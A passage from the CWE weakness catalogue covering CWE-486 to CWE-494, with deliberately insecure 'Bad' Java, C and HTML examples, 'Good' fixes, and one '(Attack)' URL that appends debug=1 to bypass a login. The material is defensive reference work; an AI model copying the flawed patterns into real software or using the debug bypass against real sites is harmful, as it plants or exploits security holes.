   }
   println(" is a great month");
}
```

Example Language: C *(Bad)*

```
void printMessage(int month){
   switch (month) {
      case 1: printf("January");
      case 2: printf("February");
      case 3: printf("March");
      case 4: printf("April");
      case 5: printff("May");
      case 6: printf("June");
      case 7: printf("July");
      case 8: printf("August");
      case 9: printf("September");
      case 10: printf("October");
      case 11: printf("November");
      case 12: printf("December");
   }
   printf(" is a great month");
}
```

Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-486: Comparison of Classes by Name

Weakness ID : 486
Structure : Simple
Abstraction : Variant

Description

The product compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.

Extended Description

If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1025	Comparison Using Wrong Factors	1882
PeerOf	B	386	Symbolic Name not Mapping to Correct Object	950

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If a product relies solely on the name of an object to determine identity, it may execute the incorrect or unintended code.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Use class equivalency to determine type. Rather than use the class name to determine if an object is of a given type, use the getClass() method, and == operator.

Demonstrative Examples

Example 1:

In this example, the expression in the if statement compares the class of the inputClass object to a trusted class by comparing the class names.

Example Language: Java *(Bad)*

```
if (inputClass.getClass().getName().equals("TrustedClassName")) {
   // Do something assuming you trust inputClass
   // ...
}
```

However, multiple classes can have the same name therefore comparing an object's class by name can allow untrusted classes of the same name as the trusted class to be use to execute unintended or incorrect code. To compare the class of an object to the intended class the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Example Language: Java *(Good)*

```
if (inputClass.getClass() == TrustedClass.class) {
   // Do something assuming you trust inputClass
   // ...
}
```

Example 2:

In this example, the Java class, TrustedClass, overrides the equals method of the parent class Object to determine equivalence of objects of the class. The overridden equals method first determines if the object, obj, is the same class as the TrustedClass object and then compares the object's fields to determine if the objects are equivalent.

Example Language: Java *(Bad)*

```
public class TrustedClass {
   ...
   @Override
   public boolean equals(Object obj) {
      boolean isEquals = false;
      // first check to see if the object is of the same class
      if (obj.getClass().getName().equals(this.getClass().getName())) {
         // then compare object fields
         ...
         if (...) {
            isEquals = true;
         }
      }
      return isEquals;
   }
   ...
}
```

However, the equals method compares the class names of the object, obj, and the TrustedClass object to determine if they are the same class. As with the previous example using the name of the class to compare the class of objects can lead to the execution of unintended or incorrect code if the object passed to the equals method is of another class with the same name. To compare the class of an object to the intended class, the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Example Language: Java *(Good)*

```
public boolean equals(Object obj) {
   ...
```

```
  // first check to see if the object is of the same class
  if (obj.getClass() == this.getClass()) {
    ...
  }
  ...
}
```

MemberOf Relationships

CWE-487: Reliance on Package-level Scope

Weakness ID : 487
Structure : Simple
Abstraction : Base

Description

Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.

Extended Description

The purpose of package scope is to prevent accidental access by other parts of a program. This is an ease-of-software-development feature but not a security feature.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2459

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Any data in a Java package can be accessed outside of the Java framework if the package is distributed.*	
Integrity	Modify Application Data *The data in a Java class can be modified by anyone outside of the Java framework if the packages is distributed.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Data should be private static and final whenever possible. This will assure that your code is protected by instantiating early, preventing access and tampering.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(Bad)*

```
package math;
public class Lebesgue implements Integration{
   public final Static String youAreHidingThisFunction(functionToIntegrate){
      return ...;
   }
}
```

CWE-488: Exposure of Data Element to Wrong Session

Weakness ID : 488
Structure : Simple
Abstraction : Base

Description

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

Extended Description

Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.

In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1481
CanFollow	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1299

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	2469

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	2516

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.

Phase: Testing

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

Phase: Architecture and Design

In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

Demonstrative Examples

Example 1:

The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.

Example Language: Java *(Bad)*

```
public class GuestBook extends HttpServlet {
  String name;
  protected void doPost (HttpServletRequest req, HttpServletResponse res) {
    name = req.getParameter("name");
    ...
    out.println(name + ", thanks for visiting!");
  }
}
```

While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.

MemberOf Relationships

CWE-489: Active Debug Code

Weakness ID : 489
Structure : Simple
Abstraction : Base

Description

The product is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information.

Extended Description

A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the product. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
CanPrecede	B	215	Insertion of Sensitive Information Into Debugging Code	559

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2459

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Alternate Terms

Leftover debug code : This term originates from Seven Pernicious Kingdoms

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Other	Bypass Protection Mechanism Read Application Data Gain Privileges or Assume Identity Varies by Context *The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Build and Compilation

Phase: Distribution

Remove debug code before deploying the application.

Demonstrative Examples

Example 1:

Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

Example Language: HTML *(Bad)*

```
<FORM ACTION="/authenticate_login.cgi">
  <INPUT TYPE=TEXT name=username>
  <INPUT TYPE=PASSWORD name=password>
  <INPUT TYPE=SUBMIT>
</FORM>
```

Then a conforming link will look like:

Example Language: *(Informative)*

```
http://TARGET/authenticate_login.cgi?username=...&password=...
```

An attacker can change this to:

Example Language: *(Attack)*

```
http://TARGET/authenticate_login.cgi?username=&password=&debug=1
```

Which will grant the attacker access to the site, bypassing the authentication process.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

CWE-491: Public cloneable() Method Without Final ('Object Hijack')

Weakness ID : 491
Structure : Simple
Abstraction : Variant

Description

A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1481

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Make the cloneable() method final.

Demonstrative Examples

Example 1:

In this example, a public class "BankAccount" implements the cloneable() method which declares "Object clone(string accountnumber)":

Example Language: Java *(Bad)*

```
public class BankAccount implements Cloneable{
  public Object clone(String accountnumber) throws
  CloneNotSupportedException
  {
    Object returnMe = new BankAccount(account number);
    ...
  }
```

```
}
```

Example 2:

In the example below, a clone() method is defined without being declared final.

Example Language: Java *(Bad)*

```
protected Object clone() throws CloneNotSupportedException {
  ...
}
```

CWE-492: Use of Inner Class Containing Sensitive Data

Weakness ID : 492
Structure : Simple
Abstraction : Variant

Description

Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.

Extended Description

Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in its enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *"Inner Classes" data confidentiality aspects can often be overcome.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Using sealed classes protects object-oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.

Phase: Implementation

Inner Classes do not provide security. Warning: Never reduce the security of the object from an outer class, going to an inner class. If an outer class is final or private, ensure that its inner class is private as well.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly makes use of an inner class.

Example Language: Java *(Bad)*

```
public final class urlTool extends Applet {
   private final class urlHelper {
      ...
   }
   ...
}
```

Example 2:

The following example shows a basic use of inner classes. The class OuterClass contains the private member inner class InnerClass. The private inner class InnerClass includes the method concat that accesses the private member variables of the class OuterClass to output the value of one of the private member variables of the class OuterClass and returns a string that is a concatenation of one of the private member variables of the class OuterClass, the separator input parameter of the method and the private member variable of the class InnerClass.

Example Language: Java *(Bad)*

```
public class OuterClass {
   // private member variables of OuterClass
   private String memberOne;
   private String memberTwo;
   // constructor of OuterClass
   public OuterClass(String varOne, String varTwo) {
      this.memberOne = varOne;
      this.memberTwo = varTwo;
   }
   // InnerClass is a member inner class of OuterClass
   private class InnerClass {
      private String innerMemberOne;
      public InnerClass(String innerVarOne) {
         this.innerMemberOne = innerVarOne;
      }
      public String concat(String separator) {
         // InnerClass has access to private member variables of OuterClass
         System.out.println("Value of memberOne is: " + memberOne);
         return OuterClass.this.memberTwo + separator + this.innerMemberOne;
      }
   }
}
```

Although this is an acceptable use of inner classes it demonstrates one of the weaknesses of inner classes that inner classes have complete access to all member variables and methods of the enclosing class even those that are declared private and protected. When inner classes are compiled and translated into Java bytecode the JVM treats the inner class as a peer class with package level access to the enclosing class.

To avoid this weakness of inner classes, consider using either static inner classes, local inner classes, or anonymous inner classes.

The following Java example demonstrates the use of static inner classes using the previous example. The inner class InnerClass is declared using the static modifier that signifies that InnerClass is a static member of the enclosing class OuterClass. By declaring an inner class as a static member of the enclosing class, the inner class can only access other static members and methods of the enclosing class and prevents the inner class from accessing nonstatic member variables and methods of the enclosing class. In this case the inner class InnerClass can only access the static member variable memberTwo of the enclosing class OuterClass but cannot access the nonstatic member variable memberOne.

Example Language: Java *(Good)*

```
public class OuterClass {
```

```
  // private member variables of OuterClass
  private String memberOne;
  private static String memberTwo;
  // constructor of OuterClass
  public OuterClass(String varOne, String varTwo) {
    this.memberOne = varOne;
    this.memberTwo = varTwo;
  }
  // InnerClass is a static inner class of OuterClass
  private static class InnerClass {
    private String innerMemberOne;
    public InnerClass(String innerVarOne) {
      this.innerMemberOne = innerVarOne;
    }
    public String concat(String separator) {
      // InnerClass only has access to static member variables of OuterClass
      return memberTwo + separator + this.innerMemberOne;
    }
  }
}
```

The only limitation with using a static inner class is that as a static member of the enclosing class the inner class does not have a reference to instances of the enclosing class. For many situations this may not be ideal. An alternative is to use a local inner class or an anonymous inner class as shown in the next examples.

Example 3:

In the following example the BankAccount class contains the private member inner class InterestAdder that adds interest to the bank account balance. The start method of the BankAccount class creates an object of the inner class InterestAdder, the InterestAdder inner class implements the ActionListener interface with the method actionPerformed. A Timer object created within the start method of the BankAccount class invokes the actionPerformed method of the InterestAdder class every 30 days to add the interest to the bank account balance based on the interest rate passed to the start method as an input parameter. The inner class InterestAdder needs access to the private member variable balance of the BankAccount class in order to add the interest to the bank account balance.

However as demonstrated in the previous example, because InterestAdder is a non-static member inner class of the BankAccount class, InterestAdder also has access to the private member variables of the BankAccount class - including the sensitive data contained in the private member variables for the bank account owner's name, Social Security number, and the bank account number.

Example Language: Java *(Bad)*

```
public class BankAccount {
  // private member variables of BankAccount class
  private String accountOwnerName;
  private String accountOwnerSSN;
  private int accountNumber;
  private double balance;
  // constructor for BankAccount class
  public BankAccount(String accountOwnerName, String accountOwnerSSN,
  int accountNumber, double initialBalance, int initialRate)
  {
    this.accountOwnerName = accountOwnerName;
    this.accountOwnerSSN = accountOwnerSSN;
    this.accountNumber = accountNumber;
    this.balance = initialBalance;
    this.start(initialRate);
  }
  // start method will add interest to balance every 30 days
  // creates timer object and interest adding action listener object
  public void start(double rate)
```

```
  {
    ActionListener adder = new InterestAdder(rate);
    Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
    t.start();
  }
  // InterestAdder is an inner class of BankAccount class
  // that implements the ActionListener interface
  private class InterestAdder implements ActionListener
  {
    private double rate;
    public InterestAdder(double aRate)
    {
      this.rate = aRate;
    }
    public void actionPerformed(ActionEvent event)
    {
      // update interest
      double interest = BankAccount.this.balance * rate / 100;
      BankAccount.this.balance += interest;
    }
  }
}
```

In the following example the InterestAdder class from the above example is declared locally within the start method of the BankAccount class. As a local inner class InterestAdder has its scope restricted to the method (or enclosing block) where it is declared, in this case only the start method has access to the inner class InterestAdder, no other classes including the enclosing class has knowledge of the inner class outside of the start method. This allows the inner class to access private member variables of the enclosing class but only within the scope of the enclosing method or block.

Example Language: Java *(Good)*

```
public class BankAccount {
  // private member variables of BankAccount class
  private String accountOwnerName;
  private String accountOwnerSSN;
  private int accountNumber;
  private double balance;
  // constructor for BankAccount class
  public BankAccount(String accountOwnerName, String accountOwnerSSN,
  int accountNumber, double initialBalance, int initialRate)
  {
    this.accountOwnerName = accountOwnerName;
    this.accountOwnerSSN = accountOwnerSSN;
    this.accountNumber = accountNumber;
    this.balance = initialBalance;
    this.start(initialRate);
  }
  // start method will add interest to balance every 30 days
  // creates timer object and interest adding action listener object
  public void start(final double rate)
  {
    // InterestAdder is a local inner class
    // that implements the ActionListener interface
    class InterestAdder implements ActionListener
    {
      public void actionPerformed(ActionEvent event)
      {
        // update interest
        double interest = BankAccount.this.balance * rate / 100;
        BankAccount.this.balance += interest;
      }
    }
    ActionListener adder = new InterestAdder();
    Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
    t.start();
```

```
  }
}
```

A similar approach would be to use an anonymous inner class as demonstrated in the next example. An anonymous inner class is declared without a name and creates only a single instance of the inner class object. As in the previous example the anonymous inner class has its scope restricted to the start method of the BankAccount class.

Example Language: Java *(Good)*

```
public class BankAccount {
  // private member variables of BankAccount class
  private String accountOwnerName;
  private String accountOwnerSSN;
  private int accountNumber;
  private double balance;
  // constructor for BankAccount class
  public BankAccount(String accountOwnerName, String accountOwnerSSN,
  int accountNumber, double initialBalance, int initialRate)
  {
    this.accountOwnerName = accountOwnerName;
    this.accountOwnerSSN = accountOwnerSSN;
    this.accountNumber = accountNumber;
    this.balance = initialBalance;
    this.start(initialRate);
  }
  // start method will add interest to balance every 30 days
  // creates timer object and interest adding action listener object
  public void start(final double rate)
  {
    // anonymous inner class that implements the ActionListener interface
    ActionListener adder = new ActionListener()
    {
      public void actionPerformed(ActionEvent event)
      {
        double interest = BankAccount.this.balance * rate / 100;
        BankAccount.this.balance += interest;
      }
    };
    Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
    t.start();
  }
}
```

Example 4:

In the following Java example a simple applet provides the capability for a user to input a URL into a text field and have the URL opened in a new browser window. The applet contains an inner class that is an action listener for the submit button, when the user clicks the submit button the inner class action listener's actionPerformed method will open the URL entered into the text field in a new browser window. As with the previous examples using inner classes in this manner creates a security risk by exposing private variables and methods. Inner classes create an additional security risk with applets as applets are executed on a remote machine through a web browser within the same JVM and therefore may run side-by-side with other potentially malicious code.

Example Language: Java *(Bad)*

```
public class UrlToolApplet extends Applet {
  // private member variables for applet components
  private Label enterUrlLabel;
  private TextField enterUrlTextField;
  private Button submitButton;
  // init method that adds components to applet
  // and creates button listener object
  public void init() {
```

```
    setLayout(new FlowLayout());
    enterUrlLabel = new Label("Enter URL: ");
    enterUrlTextField = new TextField("", 20);
    submitButton = new Button("Submit");
    add(enterUrlLabel);
    add(enterUrlTextField);
    add(submitButton);
    ActionListener submitButtonListener = new SubmitButtonListener();
    submitButton.addActionListener(submitButtonListener);
  }
  // button listener inner class for UrlToolApplet class
  private class SubmitButtonListener implements ActionListener {
    public void actionPerformed(ActionEvent evt) {
      if (evt.getSource() == submitButton) {
        String urlString = enterUrlTextField.getText();
        URL url = null;
        try {
          url = new URL(urlString);
        } catch (MalformedURLException e) {
          System.err.println("Malformed URL: " + urlString);
        }
        if (url != null) {
          getAppletContext().showDocument(url);
        }
      }
    }
  }
}
```

As with the previous examples a solution to this problem would be to use a static inner class, a local inner class or an anonymous inner class. An alternative solution would be to have the applet implement the action listener rather than using it as an inner class as shown in the following example.

Example Language: Java *(Good)*

```
public class UrlToolApplet extends Applet implements ActionListener {
  // private member variables for applet components
  private Label enterUrlLabel;
  private TextField enterUrlTextField;
  private Button submitButton;
  // init method that adds components to applet
  public void init() {
    setLayout(new FlowLayout());
    enterUrlLabel = new Label("Enter URL: ");
    enterUrlTextField = new TextField("", 20);
    submitButton = new Button("Submit");
    add(enterUrlLabel);
    add(enterUrlTextField);
    add(submitButton);
    submitButton.addActionListener(this);
  }
  // implementation of actionPerformed method of ActionListener interface
  public void actionPerformed(ActionEvent evt) {
    if (evt.getSource() == submitButton) {
      String urlString = enterUrlTextField.getText();
      URL url = null;
      try {
        url = new URL(urlString);
      } catch (MalformedURLException e) {
        System.err.println("Malformed URL: " + urlString);
      }
      if (url != null) {
        getAppletContext().showDocument(url);
      }
    }
  }
```

```
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Notes

Other

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

CWE-493: Critical Public Variable Without Final Modifier

Weakness ID : 493
Structure : Simple
Abstraction : Variant

Description

The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.

Extended Description

If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1481
ParentOf	V	500	Public Static Field Not Marked Final	1211

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Background Details

Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Final provides security by only allowing non-mutable objects to be changed after being set. However, only objects which are not extended can be made final.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The object could potentially be tampered with.*	
Confidentiality	Read Application Data *The object could potentially allow the object to be read.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Declare all public fields as final when possible, especially if it is used to maintain internal state of an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate sanity checks before accessing the field from your code.

Demonstrative Examples

Example 1:

Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to prevent price-tampering attacks by setting the price of the widget using the constructor.

Example Language: Java *(Bad)*

```
public final class WidgetData extends Applet {
  public float price;
  ...
  public WidgetData(...) {
    this.price = LookupPrice("MyWidgetType");
  }
}
```

The price field is not final. Even though the value is set by the constructor, it could be modified by anybody that has access to an instance of WidgetData.

Example 2:

Assume the following code is intended to provide the location of a configuration file that controls execution of the application.

Example Language: C++ *(Bad)*

```
public string configPath = "/etc/application/config.dat";
```

Example Language: Java *(Bad)*

```
public String configPath = new String("/etc/application/config.dat");
```

While this field is readable from any function, and thus might allow an information leak of a pathname, a more serious problem is that it can be changed by any function.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-494: Download of Code Without Integrity Check

Weakness ID : 494
Structure : Simple
Abstraction : Base

Description

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

Extended Description

An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2514

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality Other	Execute Unauthorized Code or Commands Alter Execution Logic Other *Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.*	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

Phase: Architecture and Design

Phase: Operation

Encrypt the code with a reliable encryption scheme before transmitting. This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code. When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses. Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

